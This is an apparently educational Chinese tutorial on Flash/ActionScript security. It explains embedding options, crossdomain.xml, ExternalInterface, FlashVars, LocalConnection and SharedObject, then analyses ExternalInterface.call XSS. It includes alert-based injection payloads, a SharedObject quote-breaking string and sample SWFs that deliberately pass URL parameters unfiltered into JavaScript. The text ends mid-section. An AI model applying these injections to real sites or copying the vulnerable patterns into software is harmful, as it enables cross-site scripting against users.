Old Tips:FlashXSS

文章目录

第一部分 Flash

1 初识 Flash

1.1 什么是 Flash

​ Flash是一种由Adobe公司开发的多媒体平台,它允许开发者创建动画、游戏、应用程序以及视频内容。Flash的全称是Macromedia Flash,最初由Macromedia 公司开发,后来被Adobe公司收购。Flash是一个跨平台的浏览器插件,它使得用户可以在浏览器中观看动画、视频和交互式内容。它支持矢量图形和位图的显示,以及音频和视频的集成。

攻击对象不同:

  • 动画制作:Flash被广泛用于制作动画和动态图形,因为它可以创建流畅的动画效果,并且文件大小相对较小。
  • 游戏开发:Flash平台支持游戏开发,许多早期的在线游戏都是使用Flash开发的。
  • 网站设计:Flash可以用来增强网站的视觉和交互效果,如制作导航菜单、动画广告等。
  • 教育和培训:Flash被用于创建教育软件,如交互式教学工具和模拟程序。
  • 商业演示:企业使用Flash来制作动态演示文稿,以吸引观众的注意力并传达信息。
  • 广告:Flash动画被用于在线广告,因其吸引力和交互性而受到广告商的青睐。

1.3 Flash的技术特点

  • 矢量图形:Flash使用矢量图形,这意味着图形可以被无限放大而不失真。
  • 交互性:Flash允许用户与动画和应用程序进行交互。
  • 跨平台:Flash可以在多种操作系统和设备上运行,包括Windows、MacOS和Linux。
  • ActionScript:Flash支持ActionScript编程语言,开发者可以使用它来创建复杂的交互和动画效果。

1.4 Flash的局限性和替代

​ 随着时间的推移,Flash的一些局限性开始显现,如性能问题、安全漏洞和移动设备兼容性问题。此外,HTML5、CSS3和JavaScript等现代Web技术的发展,提供了不依赖于插件的替代方案,使得Web开发更加开放和灵活。

1.5 Flash的终结

​ Adobe公司在2017年宣布将停止更新和分发Flash Player,并鼓励内容创作者和开发者转向HTML5和其他开放标准。这意味着Flash作为主流Web技术的时代已经结束,但它在多媒体内容创作历史上仍占有重要地位。

2 Flash ActionScript

2.1 什么是 Flash ActionScript

​ Flash ActionScript是一种由Adobe Systems开发的编程语言,它被设计用于创建交互式动画和应用程序,主要在Adobe Flash Player中运行。ActionScript最初是为了增强Flash动画的交互性而设计的。它允许开发者编写脚本来控制动画元素的行为,响应用户输入,并与其他程序或网络服务交互。ActionScript的发展经历了几个版本,从ActionScript 1.0到ActionScript 3.0,每个版本都带来了新的特性和改进。

2.2 ActionScript的作用

​ ActionScript的主要作用是为Flash动画和应用程序提供编程支持。它使得开发者能够创建复杂的交互式内容。

2.3 ActionScript特点

  1. 面向对象编程:ActionScript 3.0引入了面向对象的编程模型,支持类和接口,使得代码更加模块化和可重用。
  2. 事件驱动:ActionScript使用事件驱动模型,可以响应用户的输入和系统事件。
  3. 绘图API:提供了丰富的API来控制图形和动画,包括矢量图形的绘制、位图处理和动画效果。
  4. 网络通信:支持与服务器进行通信,可以加载外部数据,实现动态内容的更新。
  5. 多媒体支持:可以控制音频和视频的播放,实现丰富的多媒体体验

第二部分 Flash 编程基础

0 编译工具、环境的准备

0.1 Flex SDK

0.1.1 什么是 Flex SDK

​ Flex SDK是Adobe Systems提供的一套软件开发工具集,用于构建和部署基于Adobe Flash和Adobe AIR的富互联网应用程序(RIA)。它包括了编译器、库文件、开发工具和文档,支持开发者使用MXML和ActionScript 3.0来创建跨平台的桌面和移动应用程序。

​ Flex SDK 使用mxmlc编译器将MXML和ActionScript代码编译成SWF文件,运行过程依赖部分 JDK

0.1.2 编写并运行示例

​ 编写相关示例代码,新建一个Flash文件,Flash文件包括的内容主要是使用 ExternalInterface.call 执行力一个js语句

提示1:所有程序将会以弹窗为示例进行演示,如有特殊情况将会额外说明

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class demo extends Sprite
    {
        public function demo()
        {
            ExternalInterface.call('alert("XSF Hacked")');
        }
    }
}

​ mxmlc 编译程序

在这里插入图片描述

​ 将生成的 swf 文件放置至 web 目录下,并访问对应路径

在这里插入图片描述

0.2 Flash CS

0.2.1 什么是 Flash CS

​ Flash CS是Adobe公司推出的一款专业Flash动画和多媒体软件,属于Creative Suite(CS)系列的一部分。它提供了一套完整的工具和功能,用于创建动画、游戏、应用程序和多媒体内容。

0.2.2 编写并运行示例

​ 编写相关示例代码(F9 进入编辑界面)

在这里插入图片描述

​ Ctrl + Enter 编译运行程序

在这里插入图片描述

1 Flash 参数传递

​ 这里讲解的时Flash ActionScript脚本内容,所以以ActionScript脚本为例,它根据不同版本可以有以下几种传递参数的方式

  • ActionScript 2:以_root.argv形式,argv直接就是参数名
  • ActionScript 3:以loaderInfo.parameters形式,返回key和value的字典结构

2 HTML 加载 SWF

2.1 如何在 HTML 加载 SWF 资源文件

​ 在HTML中加载SWF资源文件,通常使用<embed>标签或<object>标签

2.1.1 <embed> 标签
<embed src="[: .swf]" width="550" height="400" type="application/x-shockwave-flash">
2.1.2 <object> 标签
<object type="application/x-shockwave-Flash" data="[: .swf]">
	<param name="movie" value = "[: .swf]" />
</object>

2.2 HTML 中 SWF 文件执行性及跨站SWF资源访问

allowScriptAccessallowNetworking 是Flash Player中的安全设置参数,用于控制加载的SWF文件或HTML页面中的Flash内容的权限。这些参数通常在Flash对象(Flash embed code)中设置,以确保内容的安全性和隔离性。

2.2.1 allowScriptAccess
2.2.1.1 allowScriptAccess的作用

​ allowScriptAccess用于控制SWF文件与加载它的页面之间的脚本访问权限,取值范围如下:

2.2.1.2 allowScriptAccess的取值范围
2.2.1.2.1 always

​ 允许SWF文件与加载它的域进行双向的脚本访问。

2.2.1.2.2 never:

​ 禁止SWF文件与加载它的域进行任何脚本访问。

2.2.1.2.3 sameDomain

​ 只允许SWF文件与加载它的相同域进行脚本访问。

2.2.1.3 allowScriptAccess相关测试
2.2.1.3.1 插入本地的Flash文件,允许任何swf文件加载执行
<object type="application/x-shockwave-Flash" data="./demo.swf">    
	<param name="movie" value = "./demo.swf" />    
	<param name="allowScriptAccess" value="always" />    
	<param name="allowNetworking" value="all" />
</object>

在这里插入图片描述

2.2.1.3.2 插入本地的Flash文件,允许相同域swf文件加载执行
<html>
	<object type="application/x-shockwave-Flash" data="./demo.swf">
	<param name="movie" value = "./demo.swf" />
	<param name="allowScriptAccess" value="samedomain" />
	<param name="allowNetworking" value="all" />
	</object>
</html>

在这里插入图片描述

​ 资源文件加载使用相对路径拼接,所以此处相当于加载 http://127.0.0.1/demo.swf(关于同源策略相关问题将会在后续文章中详细讲解)

2.2.1.3.3 插入本地的Flash文件,不允许任何swf文件加载执行
<html>
	<object type="application/x-shockwave-Flash" data="./demo.swf">
	<param name="movie" value = "./demo.swf" />
	<param name="allowScriptAccess" value="never" />
	<param name="allowNetworking" value="all" />
	</object>
</html>

​ 因为将allowScriptAccess设置为了never,不允许任何脚本文件访问执行,所以将不会有弹窗显示

在这里插入图片描述

2.2.2 allowNetworking
2.2.2.1 allowNetworking的作用

​ allowNetworking用于控制SWF文件是否能够进行网络通信,取值范围如下:

2.2.2.2 allowNetworking的取值范围
2.2.2.2.1 all

​ 允许SWF文件与任何域进行网络通信。

2.2.2.2.2 internal

​ 只允许SWF文件与加载它的相同域进行网络通信。

2.2.2.2.3 none

​ 禁止SWF文件进行任何网络通信。

2.2.2.3 allowScriptAccess相关测试
2.2.2.3.1 插入本地的Flash文件
<object type="application/x-shockwave-Flash" data="./demo.swf">    
	<param name="movie" value = "./demo.swf" />    
	<param name="allowScriptAccess" value="always" />    
	<param name="allowNetworking" value="all" />
</object>
2.2.2.3.2 插入远程的Flash文件
<object type="application/x-shockwave-Flash" data="http://192.168.70.210:8080/demo.swf">    
	<param name="movie" value = "http://192.168.70.210:8080/demo.swf" />    
	<param name="allowScriptAccess" value="always" />    
	<param name="allowNetworking" value="all" />
</object>

在这里插入图片描述

2.2.2.3.3 插入远程Flash,允许相同域swf文件加载执行
<object type="application/x-shockwave-Flash" data="http://192.168.70.210:8080/demo.swf">    
	<param name="movie" value = "http://192.168.70.210:8080/demo.swf" />    
	<param name="allowScriptAccess" value="always" />    
	<param name="allowNetworking" value="internal" />
</object>

在这里插入图片描述

2.2.2.3.4 插入远程Flash,禁止任何网络连接
<object type="application/x-shockwave-Flash" data="http://127.0.0.1/demo.swf">    
	<param name="movie" value = "http://127.0.0.1/demo.swf" />    
	<param name="allowScriptAccess" value="always" />    
	<param name="allowNetworking" value="none" />
</object>

在这里插入图片描述

3 Flash 沙箱

3.1 什么是 Flash 沙箱

​ Flash沙箱是一种安全机制,它允许在受控环境中运行Adobe Flash应用程序,同时限制这些应用程序对计算机系统的访问权限。这种技术可以防止恶意软件通过Flash应用程序传播,因为它限制了应用程序可以执行的操作,例如访问文件系统、网络资源或执行系统命令。

3.2 Flash 沙箱运行机制

​ Flash沙箱通过隔离Flash应用程序来工作,这意味着Flash应用程序在沙箱内运行,与计算机系统的其他部分隔离开来。沙箱通常是一个虚拟的环境,它模拟了一个完整的操作系统,但是限制了应用程序可以访问的资源和执行的操作。当Flash应用程序在沙箱中运行时,它只能访问沙箱内提供的资源,而不能访问计算机系统的其他部分。

3.3 Flash 功能

  1. 权限限制:Flash沙箱限制了应用程序可以请求的权限
  2. 资源限制:沙箱可以限制应用程序可以使用的内存和处理器资源,防止它消耗过多的系统资源
  3. 行为监控:沙箱可以监控应用程序的行为,检测可疑活动,并在必要时终止应用程序
  4. 隔离执行:即使Flash应用程序被破坏或包含恶意代码,沙箱也可以防止这些代码影响到计算机系统的其他部分
  5. 数据保护:沙箱可以防止Flash应用程序访问或修改计算机上的敏感数据
  6. 自动更新:Flash沙箱可以配置为自动更新,以修复已知的安全漏洞,保持系统的安全性

4 Flash调用与跨域请求

​ Flash的调用和请求情形分别如下:

4.1 HTML调用Flash时,Flash可以改后缀名

在这里插入图片描述

​ 在这个示例中,demo.gif实际上是一个Flash文件,但后缀名被改为了.gif

4.2 Flash可以单独访问

​ Flash可以单独访问,但是其效果类似于HTML调用同域的Flash,但是后缀必须是swf

4.3 Flash发动请求调用资源

​ Flash发动请求根据Flash的域来判断的,而不是HTML来判断。flash请求资源主要分为以下几种可能:

(1)Flash请求同域资源时,直接忽视crossdomain.xml

(2)Flash请求外域资源时,受外域下crossdomain.xml里的策略限制

4.3.1 crossdomain.xml
4.3.1.1 什么是 crossdomain.xml

crossdomain.xml 是一个被Adobe Flash Player用来定义跨域策略的XML文件。当一个Flash应用程序尝试从不同于其自身所在域的服务器加载数据时,服务器必须有一个crossdomain.xml文件来允许这种跨域请求。这个文件可以位于服务器的根目录下,也可以位于特定的子目录中,具体取决于你想要允许哪些域的访问。

4.3.1.2 crossdomain.xml 的参数
4.3.1.2.1site-control
  • permit: 表示允许来自其他域的请求。
  • deny: 表示拒绝来自其他域的请求。
4.3.1.2.2 allow-access-from

​ allow-access-from 定义了哪些域的Flash内容可以访问当前域的资源

  • domain: 指定允许访问的域名(可以使用通配符*来允许所有域)
  • to-ports: 指定允许访问的端口号(如果不指定,默认为所有端口)
4.3.1.2.3 allow-http-request-headers-from

​ 定义了允许的HTTP请求头部。这通常用于允许自定义的HTTP请求头部,比如那些用于OAuth认证的头部。

  • domain: 指定允许访问的域名

  • secure: 一个布尔值,指示请求是否必须通过HTTPS

4.3.1.2.4 site-control permitted-cross-domain-policies

​ 这个属性可以设置为all, by-content-type, by-ftp-filename, by-mime-type, none,定义了哪些跨域策略被允许。

4.3.2 crossdomain.xml 示例
<?xml version="1.0"?>   
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <site-control permitted-cross-domain-policies="master-only"/>
    <!-- 允许example.com及其子域访问 -->
    <allow-access-from domain="*.example.com"/>
    <!-- 允许http://www.example.com访问 -->
    <allow-access-from domain="www.example.com"/>
    <!-- 允许从*.csdn.net域的任何子域发送HTTP请求 -->
    <allow-http-request-headers-from domain="*.csdn.net" headers="*"/>
</cross-domain-policy>

5 Flash 资源交互

​ 下面将会介绍几种常见的Flash与资源文件通信的方式。

5.1 ExternalInterface

​ ExternalInterface 类是ActionScript 3.0中提供的一个强大的API,它允许Flash应用程序与浏览器或其他JavaScript环境之间进行双向通信。这个类的主要作用是桥接Flash和JavaScript,使得两者可以互相调用函数和传递数据。

5.1.1 ExternalInterface 主要功能
  1. 调用JavaScript函数:从Flash中调用网页中定义的JavaScript函数
  2. 暴露ActionScript函数:允许JavaScript调用Flash应用程序中定义的ActionScript函数
5.1.2 ExternalInterface 主要通信函数

​ ExternalInterface 主要通信函数中,主要用于与前端 JavaScript 通信的是 ExternalInterface.addCallbackExternalInterface.call 这两个函数

5.1.2.1 ExternalInterface.addCallback 演示

​ flash

import flash.external.ExternalInterface;

function AlertNoticeFunction(param1:String):String {
    var result:String = "alert(\"" + param1 + "\");";
    trace(result);
    return result; 
}

if (ExternalInterface.available) {
    ExternalInterface.addCallback("AlertNotice", AlertNoticeFunction);
}

​ html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Flash and JavaScript Interaction</title>
    <script>
        function callFlashWhenReady() {
            var flashMovie = document.getElementById("myFlashMovie");
            if (flashMovie) {
                try {
                    var result = flashMovie.AlertNotice("Hello from JS");
					eval(result);
                } catch (e) {
                    console.error("Flash function call failed: " + e);
                }
            } else {
                console.error("Flash movie not found");
            }
        }
    </script>
</head>
<body onload="callFlashWhenReady();">
    <object id="myFlashMovie" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="550" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
        <param name="movie" value="part2addCallBack.swf">
        <param name="quality" value="high">
        <embed src="part2addCallBack.swf" quality="high" type="application/x-shockwave-flash" width="550" height="400" pluginspage="http://www.adobe.com/go/getflashplayer">
        </embed>
    </object>
</body>
</html>

在这里插入图片描述

5.1.2.2 ExternalInterface.call 演示

​ 关于这个函数怎么进行通信的,在上述实例演示中大家应该已经有所了解了

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class demo extends Sprite
    {
        public function demo()
        {
            ExternalInterface.call('alert("XSF Hacked")');
        }
    }
}

5.2 FlashVars

​ FlashVars 是一个HTML标签属性,用于在加载Flash内容时向Flash应用程序传递变量。这个属性可以与 <object><embed> 标签一起使用,以将参数传递给Flash Player中的SWF文件

5.2.1 FlashVars 主要功能
  1. 动态内容:根据传递的变量动态加载或修改内容
5.2.2 FlashVars 演示

​ flash

import flash.external.ExternalInterface;
// 通过FlashVars传递给swf文件的参数可以通过loaderInfo.parameters获取
var var1:String = this.loaderInfo.parameters["param"];
ExternalInterface.call("console.log", var1);

​ html

<html>
<head>
</head>
<body>
	<object type="application/x-shockwave-Flash" data="./part2flashVars.swf">    
		<param name="movie" value = "./part2flashVars.swf" />    
		<param name="allowScriptAccess" value="always" />    
		<param name="allowNetworking" value="all" />
		<param name="FlashVars" value="param=hacked&name=Mike" />
	</object>
</body>
</html>

在这里插入图片描述

5.3 StageWebViewBridge

​ 在ActionScript中,StageWebViewBridge 是Adobe AIR中的一部分,它允许Adobe AIR应用程序中的ActionScript代码与HTML内容进行交互。StageWebView 是一个组件,可以用来加载和显示HTML内容,而 StageWebViewBridge 则提供了一个机制,使得ActionScript代码可以与加载的HTML页面中的JavaScript代码进行通信。

5.3.1 StageWebViewBridge 主要功能
  1. 调用JavaScript函数:从Flash中调用网页中定义的JavaScript函数
  2. 暴露ActionScript函数:允许JavaScript调用Flash应用程序中定义的ActionScript函数

5.4 HTMLLoader

​ HTMLLoader 类是Adobe Flash Player和Adobe AIR中ActionScript 3.0的一个组件,它允许开发者在Flash应用程序中加载和显示HTML内容。HTMLLoader 类提供了一个轻量级的浏览器功能,可以在Flash应用程序中嵌入网页,实现富媒体内容的展示和交互。

5.4.1 HTMLLoader主要功能
  1. 加载HTML内容:可以在Flash应用程序中加载HTML页面,就像在浏览器中打开网页一样
  2. 嵌入Web技术:支持嵌入使用HTML、CSS和JavaScript开发的Web内容,使Flash应用程序能够展示更丰富的用户界面和交互
5.4.2 HTMLLoader 演示

​ flash

import flash.net.URLRequest;
import flash.html.HTMLLoader
var htmlLoader:HTMLLoader = new HTMLLoader();
var url:URLRequest = new URLRequest("http://192.168.70.223/index7.html");
htmlLoader.load(url);
addChild(htmlLoader);
htmlLoader.width = 800;
htmlLoader.height = 600;

​ html

<!DOCTYPE html>
<html>
<head>
    <title>Example HTML</title>
</head>
<body>
    <h1>Hello, this is an example HTML content!</h1>
</body>
</html>

在这里插入图片描述

5.5 URLLoader and URLRequest

​ 在ActionScript 3.0中,URLLoader和URLRequest是两个用于处理网络请求和响应的核心类。

5.5.1 URLRequest

​ URLRequest类表示一个用于网络请求的对象。它封装了请求的URL、请求方法(如GET或POST)、请求头以及请求体(对于POST请求)。

5.5.2 URLLoader

​ URLLoader类用于从网络加载数据。它提供了一个简单的API来发送请求和接收响应。URLLoader可以加载文本、二进制数据或原始数据。

5.5.3 URLLoader and URLRequest 演示
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLLoaderDataFormat;
import flash.events.Event;
import flash.events.IOErrorEvent;

var request:URLRequest = new URLRequest("http://www.baidu.com");
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.TEXT;

// 添加事件监听器处理完成事件
loader.addEventListener(Event.COMPLETE, onComplete);
// 添加事件监听器处理错误事件
loader.addEventListener(IOErrorEvent.IO_ERROR, onError);

loader.load(request);

function onComplete(event:Event):void {
    var loader:URLLoader = URLLoader(event.target);
    trace("数据加载完成:" + loader.data);
}

function onError(event:IOErrorEvent):void {
    trace("发生错误:" + event.text);
}

在这里插入图片描述

5.6 LocalConnection

​ LocalConnection 是 ActionScript 3.0 中的一个类,它允许在客户端进行安全的数据通信,特别是在同一台计算机上运行的不同 SWF 文件之间进行通信。这种通信可以是双向的,即 SWF 文件之间可以相互发送和接收数据。

5.6.1 LocalConnection 的主要作用
  1. 跨 SWF 通信:允许在同一域或经过授权的跨域 SWF 文件之间进行通信
  2. 数据共享:可以在不同的 SWF 文件之间共享数据
  3. 安全性:提供了一种安全的方式来隔离和控制不同 SWF 文件之间的交互
  4. 无需服务器:通信过程不需要服务器端的介入,全部在客户端完成
5.6.2 LocalConnection 考虑事项
  • 同源策略:默认情况下,LocalConnection 只能用于同域下的 SWF 文件通信。跨域通信需要通过设置 allowDomain() 方法来显式允许
5.6.3 Security.allowDomain
5.6.3.1 Security.allowDomain 简介

Security.allowDomain() 方法用于设置安全策略,允许来自特定域的SWF文件与当前SWF文件进行交互。这是非常有用的,尤其是在涉及跨域数据访问和通信时,例如加载远程资源或与远程SWF文件交换数据

5.6.3.2 Security.allowDomain 使用方法
import flash.security.Security;
Security.allowDomain("example.com");
5.6.3.3 Security.allowDomain 示例
swf文件之间跨域访问的授权

​ 例如 http://127.0.0.1/a.swf 代码中希望请求访问 http://127.0.0.1:9090/b.swf 下的b.swf文件:

// http://127.0.0.1/a.swf
var loader:Loader =new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT,init);
var url:String="http://127.0.0.1:9090/b.swf";
loader.load(new URLRequest(url));
function init(event:Event):void
{
	trace(loader.content);
}
// http://127.0.0.1:9090/b.swf
Security.allowDomain("a.example.com");
Security.allowDomain("*");

在这里插入图片描述

​ 上面是两种不同的设置方式:

  1. Security.allowDomain(“a.example.com”);

    ​ 只允许a.example.com访问b.example.com中的SWF文件

  2. 如果使用*号那么任何域中的SWF文件都能访问执行调用b.exaple.com中的SWF文件

    ​ Security.allowDomain(“*”);

5.6.4 LocalConnection 演示

​ flash swf1 发送端

import flash.net.LocalConnection;
import flash.events.Event;

var lc:LocalConnection = new LocalConnection();
lc.allowDomain("*"); // 允许跨域连接

// 假设这里有一个发送消息的逻辑
// lc.send("target", "methodName", "message");
function onStatus(event:StatusEvent):void {
    // 处理状态事件
    trace("Status event:", event.code);
}
lc.addEventListener(StatusEvent.STATUS, onStatus);


// 假设 swf2 已经连接并且监听 "swf2Alias"
lc.send("swf2", "onMessageFromSWF1", "hello");

​ flash swf2 接受端

import flash.net.LocalConnection;

// 创建LocalConnection实例
var lc:LocalConnection = new LocalConnection();
lc.client = this
 // 允许跨域连接
lc.allowDomain("*");

// 接收SWF1发送的数据
function onMessageFromSWF1(message:String):void {
    var modifiedMessage:String = message + " world";
	trace(modifiedMessage);
}

// 添加事件监听
lc.addEventListener("onMessageFromSWF1", onMessageFromSWF1);

lc.connect("swf2");

在这里插入图片描述

5.7 XML and Web Services

​ ActionScript中的XML和Web Services是构建网络应用程序时常用的技术,用于在客户端(如Flash应用程序)和服务器之间传输数据。
​ XML是一种标记语言,非常类似于HTML,但比HTML更灵活,可以自定义标签。在ActionScript中,XML被广泛用于解析和操作来自服务器的数据。ActionScript提供了丰富的XML类和方法来简化XML的处理。

​ Web Services是一种软件系统,它使用标准的Web协议(如HTTP)来交换数据,这些数据通常以XML或JSON格式进行编码。在ActionScript中,可以通过Web服务与服务器进行交互,获取数据或提交数据。

5.7.1 ActionScript中的XML处理

​ ActionScript提供了XML和XMLList类来处理XML数据。可以使用new XML()来创建XML对象,或者使用XML.parse()方法来解析XML字符串

5.7.2 XML and Web Services 演示

​ flash

import flash.net.URLRequest;
import flash.xml.XMLDocument;
import flash.net.URLLoader;
import flash.events.Event;
import flash.events.IOErrorEvent;
import flash.net.URLRequestMethod;

var urlLoader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest("test1.xml");
request.method = URLRequestMethod.GET; 

urlLoader.addEventListener(Event.COMPLETE, onLoadComplete);
urlLoader.addEventListener(IOErrorEvent.IO_ERROR, onError);

urlLoader.load(request);

function onLoadComplete(event:Event):void {
    var xmlDocument:XML = new XML(event.target.data as String);
    var items:XMLList = xmlDocument.item; 
    
    for each (var item:XML in items) {
        trace("Item: " + item.name + ", Price: " + item.price);
    }
}

function onError(event:IOErrorEvent):void {
    trace("Error loading XML: " + event.text);
}

​ xml

<data>
    <item>
        <name>Apple</name>
        <price>0.99</price>
    </item>
    <item>
        <name>Banana</name>
        <price>0.59</price>
    </item>
</data>

在这里插入图片描述

5.8 SharedObject

​ ActionScript中的SharedObject类允许开发者在用户计算机上存储数据,这可以用于保存应用程序的设置、游戏得分、用户信息等。SharedObject数据被存储在用户的计算机上,并且可以跨会话持久保存。它使用本地共享对象(LSO)技术,也就是通常所说的Flash Cookie。

5.8.1 SharedObject 的特点
  • 持久性:数据在关闭浏览器或应用程序后依然存在
  • 跨域:可以访问不同域的SharedObject
  • 大小限制:每个SharedObject的数据大小通常限制在100KB左右
  • 安全性:数据存储在用户的计算机上,需要考虑数据的安全性和隐私
5.8.2 SharedObject 的使用步骤
  1. 创建 SharedObject:指定一个名称和可选的域名
  2. 设置数据:将数据存储到SharedObject中
  3. 发送数据:将数据持久化到用户的计算机上
  4. 加载数据:从SharedObject中读取数据
5.8.3 SharedObject 演示

​ flash

function setlso(_arg1:String):Boolean{
    // SharedObject.getLocal 用于创建或获取一个本地共享对象(Local Shared Object,LSO)
    var _local2:SharedObject = SharedObject.getLocal("students");
    // 从本地共享对象的data存储数据中获取键值对 data:{'key':'value'}
    _local2.data.key = _arg1;
    // 将修改的数据保存到本地磁盘
    _local2.flush();
    return (true);
}
 
function getlso():String{
    var _local1:SharedObject = SharedObject.getLocal("students");
    if(_local1.data.key == undefined){
        return ("");
    }
    return (_local1.data.key);
}
ExternalInterface.addCallback("getlso",getlso)
ExternalInterface.addCallback("setlso",setlso)

​ html

<html>
<head></head>
<body>
<object id="lso" type="application/x-shockwave-Flash" data="./SharedObjectExample.swf">
<param name="movie" value = "./SharedObjectExample.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
<script>
function set(){
    document["lso"].setlso('aa\\";alert(document.domain);//aa');
}
function get(){
    document["lso"].getlso();
}
 
setTimeout("set()",5000)
setTimeout("get()",7000)
</script>
</body>
</html>

在这里插入图片描述

5.9 HTML IFrame

​ 在ActionScript中,HTML IFrame(即HTML容器)是一种可以加载和显示HTML内容的显示对象。它允许开发者在Flash应用程序中嵌入网页。HTML IFrame通过StageWebView类来实现,该类是Adobe AIR的一部分,用于在Adobe AIR应用程序中显示HTML内容。

5.9.1 HTML IFrame 演示

​ flash

import flash.media.StageWebView;

var webView = new StageWebView();
webView.viewPort = new Rectangle(0, 0, stage.stageWidth, stage.stageHeight);
webView.stage = stage;
webView.loadURL("http://192.168.70.223/index7.html");

在这里插入图片描述

6. 与 Flash 请求相关的HTTP头字段

6.1 X-Requested-With

ShockwaveFlash/21.0.0.216

​ 表明请求是由Adobe Flash Player发出的。这里的版本号21.0.0.216指明了Flash Player的具体版本。当Flash内容(SWF文件)需要与服务器进行通信时,Flash Player会设置这个请求头。

在这里插入图片描述

6.2 Referer

​ 由 Flash 发送的请求,在请求头中Referer为空或者为该 .swf 文件地址。

在这里插入图片描述

​ 当直接请求 SWF 资源文件且并无跨域请求时,请求头中不带Referer

在这里插入图片描述

6.3 x-flash-version

x-flash-version 是一个自定义的 HTTP 请求头字段,它通常用于标识发起 HTTP 请求的 Flash Player 的版本。当通过 Flash Player 或基于 Flash 的应用程序(如 Adobe AIR 应用程序)发起网络请求时,这个请求头会被包含在内,以传递 Flash Player 的具体版本信息。

在这里插入图片描述

第三部分 Flash 相关漏洞

​ 尽管Flash和ActionScript不再是主流技术,但它们的历史遗留问题提醒我们,任何技术在其生命周期中都需要不断地进行安全评估和更新。对于渗透测试人员而言,理解这些技术背后的安全模型,是构建更为健壮的网络安全防御体系的基础。随着技术的演进,持续关注新兴平台和编程语言的安全最佳实践,对于保护用户免受网络攻击至关重要。

1 Flash安全审视

​ 在日常的Flash编程实践中,ActionScript脚本扮演着核心角色。然而,ActionScript的某些函数在设计上存在缺陷,这些缺陷可能成为网络安全的隐患。因此,对于渗透测试人员而言,对这些潜在的安全风险进行深入分析和关注是至关重要的。

2 Flash安全漏洞概述

​ Flash技术中最为人们熟知的安全问题之一是跨站脚本攻击(XSS)。XSS攻击允许恶意用户将恶意脚本注入到其他用户会话中,这通常发生在Web应用程序未能妥善处理不受信任的输入时。在Flash的上下文中,XSS攻击主要通过以下两种方式表现:

  1. 加载第三方资源时的XSS攻击:Flash应用程序在加载外部资源,如SWF文件、图片或文本数据时,如果未对这些资源进行严格的安全检查,就可能成为XSS攻击的媒介。攻击者可以利用这些漏洞注入恶意脚本,进而影响用户的浏览器会话。
  2. 与JavaScript的通信中的XSS风险:Flash与JavaScript之间的通信机制,如ExternalInterface类,如果使用不当,也可能成为XSS攻击的途径。通过Flash调用JavaScript函数时,若未对传递的数据进行严格的验证和过滤,攻击者可以注入恶意脚本,从而危害用户数据安全。

3 Flash 相关漏洞分析

3.1 ExternalInterface.call

3.1.1 函数功能

​ ExternalInterface 类在 ActionScript 3 (AS3) 中提供了一种机制,允许 ActionScript 代码与 SWF 容器进行通信。ExternalInterface.call() 方法是该类的一个关键方法,它允许 ActionScript 调用容器中的代码,通常是 JavaScript 函数。

3.1.2 函数原型

public static function call(functionName:String, … arguments)😗

​ Flash中可以使用ExternalInterface.call来执行JavaScript代码。ExternalInterface.callzhong1可传递0个参数或传递多个参数,这里我们只探讨如下两个:

  • ExternalInterface.call(“函数调用”)
  • ExternalInterface.call(“函数调用/函数名”,”参数”)
3.1.3 ExternalInterface.call 利用
3.1.3.1 ExternalInterface.call 第一个参数可控

​ 以下述代码为例,

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class externalInterfaceCall1 extends Sprite
    {
        public function externalInterfaceCall1()
        {
            // loaderInfo.parameters 属性用于获取加载 SWF 文件时附加的参数
            // 通常以查询字符串的格式附加在 SWF 文件的 URL 后面
            // function_call 是参数名
            var jsFunction:String = loaderInfo.parameters.function_call;
            var param:String = "Hacked Seccessfully!";
            // 这句话可以用伪代码这样表示 
            // eval(
            //     Requests.Get['function_call'](param)
            // )
            ExternalInterface.call(jsFunction, param);
        }
    }
}

在这里插入图片描述

​ 根据函数的两种调用方式,我们对于第一个参数可控的情况有以下两种利用方式:

3.1.3.1.1 传入执行函数名

externalInterfaceCall1.swf?function_call=alert

在这里插入图片描述

​ 使用IE的开发者工具调试,F12打开IE的开发人员工具->脚本->启动调试->全部中断/错误终端,再次访问URL即可中断下来:

​ 在选项框中选择 JScript - script block, 就能看到相关语言的执行内容了

在这里插入图片描述

​ 实际的执行内容就变成了

try { __flash__toXML(alert("Hacked Seccessfully!")) ; } catch (e) { "<undefined/>"; }
3.1.3.1.2 传入函数调用

externalInterfaceCall1.swf?function_call=alert(“Hello World”)

注意1:在 Javascript 中,向指定函数中传递多个参数,如果超过了原有函数的参数列表,那么超过部分的参数将会被省略

在这里插入图片描述

​ 使用IE的开发者工具调试,观察一下这里是怎么样的操作逻辑:

在这里插入图片描述

try { __flash__toXML(alert('Hello World')("Hacked Seccessfully!")) ; } catch (e) { "<undefined/>"; }

​ 由于 function alert(): void 的函数模型中返回的是 void 也就是 Javascript 中的 undefined , 所以他不会继续执行 undefined("Hacked Seccessfully!")

if ((((activeX == true)) && (!((objectID == null))))){
	_evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};

​ 其中 objectID 为调用 Flash 的 HTML 标签的 ID。functionName 表示为调用的 JS 函数名称。上面这段代码是在网上搜集到的 ExternalInterface.call 底层逻辑实现代码。可以看到,对输入参数直接拼接到了相应的 JavaScript 代码中,并未做任何的过滤筛选。所以我们输入的payload代码片段将函数名认为alert('Hello World')(functionName=alert(‘Hello World’)),然后再把alert('Hello World') 作为函数、("Hacked Seccessfully!")作为方法调用执行

3.1.3.2 ExternalInterface.call 第二个参数可控

​ 第二个示例代码如下所示:

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class externalInterfaceCall3 extends Sprite
    {
        public function externalInterfaceCall3()
        {
            var param:String = loaderInfo.parameters.param_call;
            ExternalInterface.call("console.log", param);
        }
    }
}

​ 参考上面的函数模型

